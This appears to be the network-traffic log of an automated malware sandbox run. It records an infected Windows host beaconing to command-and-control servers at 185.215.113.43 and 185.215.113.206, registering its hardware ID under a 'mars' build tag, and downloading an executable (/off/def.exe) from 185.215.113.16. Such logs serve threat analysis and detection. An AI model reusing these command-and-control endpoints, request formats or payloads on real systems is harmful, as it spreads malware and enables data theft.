Nov 12, 2024 21:22:57.863580942 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 33 32 45 37 33 42 38 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB32E73B85082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 12, 2024 21:22:58.792527914 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 20:22:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	49850	185.215.113.43	80	6792	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 21:23:00.526428938 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 21:23:01.433928013 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 20:23:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	49851	185.215.113.206	80	5480	C:\Users\user\AppData\Local\Temp\1005813001\82b4c5cad2.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 21:23:00.599446058 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 12, 2024 21:23:01.517355919 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 20:23:01 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 12, 2024 21:23:01.521235943 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JDAEHJJECAEGCAAAAEGI Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 44 41 45 48 4a 4a 45 43 41 45 47 43 41 41 41 41 45 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 33 42 36 31 44 43 42 31 33 36 38 34 32 31 37 36 35 31 31 32 30 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 41 45 48 4a 4a 45 43 41 45 47 43 41 41 41 41 45 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 41 45 48 4a 4a 45 43 41 45 47 43 41 41 41 41 45 47 49 2d 2d 0d 0a Data Ascii: ------JDAEHJJECAEGCAAAAEGIContent-Disposition: form-data; name="hwid"E3B61DCB13684217651120------JDAEHJJECAEGCAAAAEGIContent-Disposition: form-data; name="build"mars------JDAEHJJECAEGCAAAAEGI--
Nov 12, 2024 21:23:01.804754972 CET	210	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 20:23:01 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	49853	185.215.113.43	80	6792	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 21:23:03.172770977 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 33 32 45 37 33 42 38 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB32E73B85082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 12, 2024 21:23:04.429713011 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 20:23:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	49855	185.215.113.43	80	6792	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 21:23:06.081939936 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 21:23:07.015110016 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 20:23:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	49857	185.215.113.43	80	6792	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 21:23:08.609237909 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 33 32 45 37 33 42 38 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB32E73B85082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 12, 2024 21:23:09.565285921 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 20:23:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.4	49858	185.215.113.16	80	7236	C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 21:23:10.265218019 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Nov 12, 2024 21:23:11.184047937 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 20:23:11 GMT Content-Type: application/octet-stream Content-Length: 2811392 Last-Modified: Tue, 12 Nov 2024 20:07:36 GMT Connection: keep-alive ETag: "6733b588-2ae600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 60 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 2b 00 00 04 00 00 34 df 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$`+ `@ +4+`Ui` @ @.rsrc`2@.idata 8@citkblqg*:@joxrtjxa @+@.taggant@`+"*@
Nov 12, 2024 21:23:11.184072971 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 12, 2024 21:23:11.184082031 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 12, 2024 21:23:11.184139013 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 12, 2024 21:23:11.184151888 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 12, 2024 21:23:11.184164047 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 12, 2024 21:23:11.184175014 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 12, 2024 21:23:11.184189081 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 12, 2024 21:23:11.184202909 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 12, 2024 21:23:11.184216022 CET	1236	IN	Data Raw: 55 86 d5 0c 12 34 04 2d 6e 23 64 3c 06 24 1d 85 6a 0d 78 a4 84 4f b6 20 2c 52 5b 15 d5 2f b6 f8 2d be 4d df 8f 1b 08 56 5d 2b 7f d9 e2 c7 86 6c 77 0c 47 c7 9f b5 30 5e 6a ee 2e 9f 2f c8 32 64 6f 19 fc e2 e0 8d 59 0d af 3d 30 f7 4b d3 2b d8 9d ff Data Ascii: U4-n#d<$jxO ,R[/-MV]+lwG0^j./2doY=0K+Gq;02i}%:1mgx4e0e3"8hW5k:2D@1=;'Yo~-0cev;q='R2\/i<
Nov 12, 2024 21:23:11.189204931 CET	1236	IN	Data Raw: d1 92 17 41 d7 fe 2b d6 ed 22 78 1f d3 dd da 99 43 e9 63 7f 13 ff 5e 5f a0 8c 00 82 73 fe c4 a6 ea 26 0e 99 1c fc e5 d8 a2 fb b2 61 aa f2 f8 9d 50 2b 73 63 29 1d 1a c1 d3 ad 32 f5 d8 42 84 9b d2 50 34 32 17 c5 6f 66 59 39 7c 07 cc 5d 87 3d 92 a8 Data Ascii: A+"xCc^_s&aP+sc)2BP42ofY9\|]==]4{E>-^z{x>>s6#vz)JK>uo.-(y]5xvw5Kp*uuNJ!os=g7a L~li^"bv6`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.4	49859	185.215.113.43	80	6792	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 21:23:11.219062090 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 21:23:12.115602970 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 20:23:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.4	49860	185.215.113.43	80	6792	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 21:23:13.631146908 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 33 32 45 37 33 42 38 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB32E73B85082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 12, 2024 21:23:14.538274050 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 20:23:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.4	49861	185.215.113.43	80	6792	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 21:23:16.186206102 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 21:23:17.102708101 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 20:23:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.4	49862	185.215.113.43	80	6792	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 21:23:18.621279955 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 33 32 45 37 33 42 38 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB32E73B85082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 12, 2024 21:23:19.543669939 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 20:23:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.4	49863	185.215.113.43	80	6792	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 21:23:21.176084995 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 21:23:22.066741943 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 20:23:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.4	49864	185.215.113.43	80	6792	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 21:23:23.581947088 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 33 32 45 37 33 42 38 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB32E73B85082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 12, 2024 21:23:24.495145082 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 20:23:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.4	49865	185.215.113.43	80	6792	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 21:23:26.128504992 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 21:23:27.040246964 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 20:23:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.4	49866	185.215.113.43	80	6792	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 21:23:28.565881968 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 33 32 45 37 33 42 38 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB32E73B85082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 12, 2024 21:23:29.510628939 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 20:23:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.4	49867	185.215.113.43	80	6792	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 21:23:31.145819902 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 21:23:32.052720070 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 20:23:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.4	49868	185.215.113.43	80	6792	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 21:23:33.566297054 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 33 32 45 37 33 42 38 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB32E73B85082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 12, 2024 21:23:34.470592976 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 20:23:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.4	49869	185.215.113.43	80	6792	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 21:23:36.097343922 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 21:23:36.994601965 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 20:23:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

